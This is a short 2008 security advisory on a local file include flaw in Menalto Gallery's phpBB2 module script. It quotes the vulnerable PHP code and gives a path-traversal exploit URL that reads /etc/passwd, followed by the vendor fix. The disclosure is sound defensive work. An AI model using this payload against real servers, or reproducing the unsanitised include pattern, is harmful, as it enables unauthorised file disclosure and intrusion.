DSECRG-08-035.txt

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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-035  
  
  
Application: Gallery   
Versions Affected: 1.5.7, 1.6-alpha3  
Vendor URL: http://gallery.menalto.com/  
Bug: Local File Include  
Exploits: YES  
Reported: 14.07.2008  
Vendor response: 15.07.2008  
Solution: YES  
Date of Public Advisory: 08.08.2008  
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
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Gallery system has local file include vulnerability in script contrib/phpBB2/modules.php  
  
Successful exploitation requires that "register_globals" is enabled.  
  
Code  
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switch ($_REQUEST['op']) {  
case 'modload':  
// Added with changes in Security for PhpBB2.  
define('IN_PHPBB', true);  
  
define ("LOADED_AS_MODULE","1");  
$phpbb_root_path = "./";  
// connect to phpbb  
include_once($phpbb_root_path . 'extension.inc');  
include_once($phpbb_root_path . 'common.'.$phpEx);  
include_once($phpbb_root_path . 'includes/functions.'.$phpEx);  
  
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Example:  
  
http://[server]/[installdir]/contrib/phpBB2/modules.php?op=modload&phpEx=../../../../../../../../../../../../../etc/passwd  
  
  
Solution  
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Vendor fix this flaw on 05.08.2008. Download Gallery 1.5.8 and 1.6-RC1 from download page on SourceForge:  
  
http://sourceforge.net/project/showfiles.php?group_id=7130&package_id=7239&abmode=1  
  
More information about release: http://gallery.menalto.com/gallery_1.5.8_released  
  
  
  
About  
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Contact: research [at] dsec [dot] ru  
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